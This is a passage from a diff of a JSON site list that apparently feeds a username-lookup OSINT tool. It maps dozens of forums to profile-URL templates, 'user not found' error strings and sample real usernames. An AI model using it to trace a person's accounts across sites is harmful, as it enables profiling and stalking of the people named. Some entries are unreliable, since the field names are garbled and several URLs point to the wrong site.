Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.mya-uk.org.uk/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.mya-uk.org.uk", + "usernameON": "downbytheriver", + "bad_site": "" + }, + "Forum_myaudiq5": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.myaudiq5.com/members/?username={}", + "urlMain": "https://www.myaudiq5.com", + "usernameON": "sargeq5", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mybb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.mybb.ru/search.php?action=search&keywords=&author={}", + "urlMain": "https://forum.mybb.ru", + "usernameON": "Deff", + "bad_site": "" + }, + "Forum_mybeautyconsultant": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mybeautyconsultant.net/forum/members/?username={}", + "urlMain": "https://mybeautyconsultant.net", + "usernameON": "blackcoffee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Mybirds": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, ", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.mybirds.ru/forums/search/?&q={}&type&quick=1&search_and_or=or&sortby=relevancy", + "urlMain": "https://www.mybirds.ru/", + "usernameON": "Tanban", + "bad_site": "" + }, + "Forum_mycity-military": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "tim imenom ne postoji ", + "errorMsg2": "MyCity Military", + "errorTyp��": "message", + "url": "https://www.mycity-military.com/Korisnik/{}/", + "urlMain": "https://www.mycity-military.com", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_mycoffee": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mycoffee.ucoz.ru/index/8-0-{}", + "urlMain": "https://mycoffee.ucoz.ru", + "usernameON": "Азазелло", + "bad_site": "" + }, + "Forum_mycoweb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://myfc.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfc.ucoz.ru", + "usernameON": "jag", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_myfriendsclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myfriendsclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://myfriendsclub.ucoz.ru", + "usernameON": "crasnovp1t", + "bad_site": "" + }, + "Forum_myfxbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.myfxbook.com/members/{}", + "urlMain": "https://www.myfxbook.com", + "usernameON": "esmumuex", + "bad_site": "" + }, + "Forum_mygolfspy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.mygolfspy.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.mygolfspy.com", + "usernameON": "bmdubya", + "bad_site": "" + }, + "Forum_myimmortal": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myimmortal.forum24.ru/?32-{}", + "urlMain": "https://myimmortal.forum24.ru", + "usernameON": "de3fmjhhfq", + "bad_site": "" + }, + "Forum_Myjane": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title> - Женские форумы myJane", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.myjane.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_mymbonline": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mymbonline.com/members/?username={}", + "urlMain": "https://www.mymbonline.com", + "usernameON": "odehboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mymoscow": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://myslonim.by/index/8-0-{}", + "urlMain": "http://myslonim.by", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_myst": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myst.ucoz.com/index/8-0-{}", + "urlMain": "https://myst.ucoz.com", + "usernameON": "vetal99977", + "bad_site": "" + }, + "Forum_mystic-school": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.mystic-school.ru/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "ivan", + "bad_site": "" + }, + "Forum_mysticalgarland": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mysticalgarland.at.ua/index/8-0-{}", + "urlMain": "https://mysticalgarland.at.ua", + "usernameON": "rusanov19110088", + "bad_site": "" + }, + "Forum_mysurvival": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://mysurvivalforum.com/members/?username={}", + "urlMain": "https://mysurvivalforum.com", + "usernameON": "mekada", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_mytractor": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mytractorforum.com/members/?username={}", + "urlMain": "https://www.mytractorforum.com", + "usernameON": "fuzzy2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_mytrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mytrans.3dn.ru/index/8-0-{}", + "urlMain": "https://mytrans.3dn.ru", + "usernameON": "kirilvoshnovskiy", + "bad_site": "" + }, + "Forum_myvisualdatabase": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users were", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myvisualdatabase.com/forum/userlist.php?username={}&show_group=-1&sort_by=username&sort_dir=ASC&search=Search", + "urlMain": "https://myvisualdatabase.com", + "usernameON": "DriveSoft", + "bad_site": "" + }, + "Forum_myword": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://myword.borda.ru/?32-{}", + "urlMain": "https://myword.borda.ru", + "usernameON": "kaccob", + "bad_site": "" + }, + "Forum_myxlam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://myxlam.clan.su/index/8-0-{}", + "urlMain": "https://myxlam.clan.su", + "usernameON": "nagimrasul", + "bad_site": "" + }, + "Forum_mzee": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.mzee.com/forum/members/?username={}", + "urlMain": "https://www.mzee.com", + "usernameON": "eduardo", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_n2td": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.n2td.org/index.php?members/&username={}", + "urlMain": "https://forum.n2td.org", + "usernameON": "dylansmall", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nabran": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.nabran.ru/index/8-0-{}", + "urlMain": "http://www.nabran.ru/", + "usernameON": "ghgjjg", + "bad_site": "" + }, + "Forum_nada25": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nada25.ucoz.ru/index/8-0-{}", + "urlMain": "https://nada25.ucoz.ru", + "usernameON": "svn", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nag": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пожалуйста, подождите", + "errorMsg2": "| Cloudflare", + "errorMsg3": "0 результатов", + "errorTyp��": "message", + "url": "https://forum.nag.ru/index.php?/search/&q={}&start_after=any", + "urlMain": "https://forum.nag.ru", + "usernameON": "frol13", + "bad_site": "" + }, + "Forum_nameberry": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://forum.nameberry.com/u/{}/summary", + "urlMain": "https://forum.nameberry.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Namepros": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.namepros.com/members/?username={}", + "urlMain": "https://www.namepros.com", + "usernameON": "velted", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_napolimagazine": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio", + "errorMsg2": "Al momento non ti", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.napolimagazine.info/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Cerca", + "urlMain": "https://www.napolimagazine.info/", + "usernameON": "pinos", + "bad_site": "" + }, + "Forum_narkomanija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.narkomanija.ba/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.narkomanija.ba", + "usernameON": "sanela", + "bad_site": "" + }, + "Forum_narutoshiprus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://narutoshiprus.ucoz.ru/index/8-0-{}", + "urlMain": "https://narutoshiprus.ucoz.ru", + "usernameON": "fint333", + "bad_site": "" + }, + "Forum_nash-dialog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nash-dialog.com/members/?username={}", + "urlMain": "https://nash-dialog.com", + "usernameON": "nuarr", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nashaplaneta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользоват", + "errorTyp��": "message", + "url": "https://nashaplaneta.net/forum/memberlist.php?username={}", + "urlMain": "https://nashaplaneta.net", + "usernameON": "nausla", + "bad_site": "" + }, + "Forum_nashausadba": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nashausadba.com.ua/forum/members/?username={}", + "urlMain": "https://nashausadba.com.ua", + "usernameON": "manana", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nashtransport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nashtransport.ru/search/?q={}&quick=1&type=blog_entry", + "urlMain": "https://www.nashtransport.ru", + "usernameON": "kventz", + "bad_site": "" + }, + "Forum_nationsglory": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Erreur", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Pseudo inexistant", + "errorTyp��": "message", + "url": "https://nationsglory.fr/profile/{}", + "urlMain": "https://nationsglory.fr", + "usernameON": "nimomoney", + "bad_site": "" + }, + "Forum_navi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://forum.navi.gg/search?query=&orderByType=relevance&user=+§ion=&calendarDate=", + "urlMain": "https://forum.navi.gg/", + "usernameON": "termenator46", + "bad_site": "" + }, + "Forum_navyclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://navyclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://navyclub.ucoz.ru", + "usernameON": "Delfa", + "bad_site": "" + }, + "Forum_naydemvam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://naydemvam.naydemvam.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://naydemvam.naydemvam.ru", + "usernameON": "Urri", + "bad_site": "" + }, + "Forum_nba777": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nba777.ucoz.ru/index/8-0-{}", + "urlMain": "https://nba777.ucoz.ru", + "usernameON": "JustinFem", + "bad_site": "" + }, + "Forum_nbcsportsedge": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nbcsportsedge.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nbcsportsedge.com", + "usernameON": "Jtraysfan", + "bad_site": 1 + }, + "Forum_Ne-kurim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ne-kurim.ru/members/?username={}", + "urlMain": "https://ne-kurim.ru/", + "usernameON": "gpp", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_necropolis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://necropolis.ucoz.ru/index/8-0-{}", + "urlMain": "https://necropolis.ucoz.ru", + "usernameON": "RuTOR", + "bad_site": "" + }, + "Forum_nedvizimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nedvizimost.ucoz.ru/index/8-0-{}", + "urlMain": "https://nedvizimost.ucoz.ru", + "usernameON": "natayovzhik", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nemodniy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "НЕМОДНЫЙ КЛУБ.", + "errorTyp��": "message", + "url": "http://forum.nemodniy.ru/member.php?username={}", + "urlMain": "http://forum.nemodniy.ru", + "usernameON": "MEDBEDb", + "comments": "bad", + "bad_site": 1 + }, + "Forum_neodni": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.my-neodni.ucoz.ru/index/8-0-{}", + "urlMain": "http://www.my-neodni.ucoz.ru", + "usernameON": "probe505", + "bad_site": "" + }, + "Forum_neptuneos": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.neptuneos.com/public/u/{}", + "urlMain": "https://forum.neptuneos.com", + "usernameON": "leszek", + "bad_site": "" + }, + "Forum_nerchinsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nerchinsk.ucoz.ru/index/8-0-{}", + "urlMain": "https://nerchinsk.ucoz.ru/", + "usernameON": "tarogadanie11", + "bad_site": "" + }, + "Forum_netbiz": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://netbiz.at.ua/index/8-0-{}", + "urlMain": "https://netbiz.at.ua/", + "usernameON": "tag", + "bad_site": 1, + "comments": "Oplata", + "exclusion": "\\W" + }, + "Forum_netcookingtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://netcookingtalk.com/forums/members/?username={}", + "urlMain": "https://netcookingtalk.com", + "usernameON": "rickismom", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_netdietam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://netdietam.ucoz.ru/index/8-0-{}", + "urlMain": "https://netdietam.ucoz.ru/", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_netduma": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.netduma.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.netduma.com", + "usernameON": "vpn", + "bad_site": "" + }, + "Forum_nettractortalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nettractortalk.com/forums/members/?username={}", + "urlMain": "https://www.nettractortalk.com/", + "usernameON": "chennaicontainers", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nevendaar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nevendaar.3dn.ru/index/8-0-{}", + "urlMain": "https://nevendaar.3dn.ru", + "usernameON": "Химера", + "bad_site": "" + }, + "Forum_neveroyatno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://neveroyatno.ucoz.ru/index/8-0-{}", + "urlMain": "https://neveroyatno.ucoz.ru", + "usernameON": "serko78", + "bad_site": "" + }, + "Forum_new-journals": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-journals.at.ua/index/8-0-{}", + "urlMain": "https://new-journals.at.ua", + "usernameON": "petrjarik77", + "bad_site": "" + }, + "Forum_new-nedvigimost": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://new-nedvigimost.moy.su/index/8-0-{}", + "urlMain": "https://new-nedvigimost.moy.su", + "usernameON": "olgapet946", + "bad_site": "" + }, + "Forum_newcok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newcok.ru/index/8-0-{}", + "urlMain": "http://newcok.ru/", + "usernameON": "Kass", + "bad_site": "" + }, + "Forum_newjerseyhunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newjerseyhunter.com/members/?username={}", + "urlMain": "https://www.newjerseyhunter.com", + "usernameON": "slayer1962", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newlcn": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Sorry, but that user does not exist.", + "errorMsg2": ">Information</td>", + "errorTyp��": "message", + "url": "http://forum.newlcn.com/profile.php?mode=viewprofile&u={}", + "urlMain": "http://forum.newlcn.com", + "usernameON": "sckameikin22", + "bad_site": "" + }, + "Forum_newload_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newload.ucoz.ru/index/8-0-{}", + "urlMain": "https://newload.ucoz.ru", + "usernameON": "Shinjitzu", + "bad_site": "" + }, + "Forum_newnissanz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.newnissanz.com/members/?username={}", + "urlMain": "https://www.newnissanz.com", + "usernameON": "speczracer", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_newpower": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://newpower.at.ua/index/8-0-{}", + "urlMain": "https://newpower.at.ua", + "usernameON": "kot358194", + "bad_site": "" + }, + "Forum_newros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://newros.ru/index/8-0-{}", + "urlMain": "http://newros.ru", + "usernameON": "mrferos921", + "bad_site": "" + }, + "Forum_newschoolers": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "Sorry, we couldn't find anything that matched your search query.", + "errorTyp��": "message", + "url": "https://www.newschoolers.com/search?tab=members&s={}", + "urlMain": "https://www.newschoolers.com", + "usernameON": "skierman", + "bad_site": "" + }, + "Forum_nexgencheats": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.nexgencheats.com/index.php?/search/&q={}&type=core_members", + "urlMain": "https://www.nexgencheats.com", + "usernameON": "ViraL", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_next-gazel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://next-gazel.ru/forum/member.php?username={}", + "urlMain": "https://next-gazel.ru", + "usernameON": "cmd368tv", + "bad_site": "" + }, + "Forum_nexusmods": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.nexusmods.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.nexusmods.com", + "usernameON": "EvilFixer", + "bad_site": "" + }, + "Forum_nf-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nf-club.ru/index/8-0-{}", + "urlMain": "http://nf-club.ru", + "usernameON": "SloNF", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_ngs": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": " <div class=\"create-a-post actually-show-error", + "errorMsg2": "Результатов, соответствующих Вашему запросу, не найдено", + "errorTyp��": "message", + "url": "https://forum.ngs.ru/search/?words={}&forum=all&match=username&limit=25", + "urlMain": "https://forum.ngs.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_nicolaspark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nicolaspark.my1.ru/index/8-0-{}", + "urlMain": "https://nicolaspark.my1.ru", + "usernameON": "fox", + "bad_site": "" + }, + "Forum_niflheim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://niflheim.world/members/?username={}", + "urlMain": "https://niflheim.world", + "usernameON": "mouro3100", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_Night_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://night.kharkov.ua/index/8-0-{}", + "urlMain": "http://night.kharkov.ua", + "usernameON": "lauraao1", + "bad_site": "" + }, + "Forum_nikmc": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://nikmc-i.ucoz.ru/index/8-0-{}", + "urlMain": "http://nikmc-i.ucoz.ru", + "usernameON": "zaiacsania", + "bad_site": "" + }, + "Forum_nikola": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikola-apx.ucoz.ru/index/8-0-{}", + "urlMain": "https://nikola-apx.ucoz.ru", + "usernameON": "Ilya", + "bad_site": "" + }, + "Forum_nikonites": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nikonites.com/forum/members/?username={}", + "urlMain": "https://nikonites.com/", + "usernameON": "weebee", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nikopol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nikopol.moy.su/index/8-0-{}", + "urlMain": "https://nikopol.moy.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_nikos": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://nikos.at.ua/index/8-0-{}", + "urlMain": "https://nikos.at.ua", + "usernameON": "Saymon", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nim-lang": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.nim-lang.org/profile/{}", + "urlMain": "https://forum.nim-lang.org", + "usernameON": "SolitudeSF", + "bad_site": "" + }, + "Forum_nintendo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nintendoforums.com/members/?username={}", + "urlMain": "https://www.nintendoforums.com", + "usernameON": "dustinb12", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nissan": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanforums.com/members/?username={}", + "urlMain": "https://www.nissanforums.com", + "usernameON": "weeaboo123", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanclub": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanclub.com/members/?username={}", + "urlMain": "https://www.nissanclub.com", + "usernameON": "administrator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nissanzclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nissanzclub.com/forum/members/?username={}", + "urlMain": "https://www.nissanzclub.com", + "usernameON": "mcn1smo", + "headers": { + 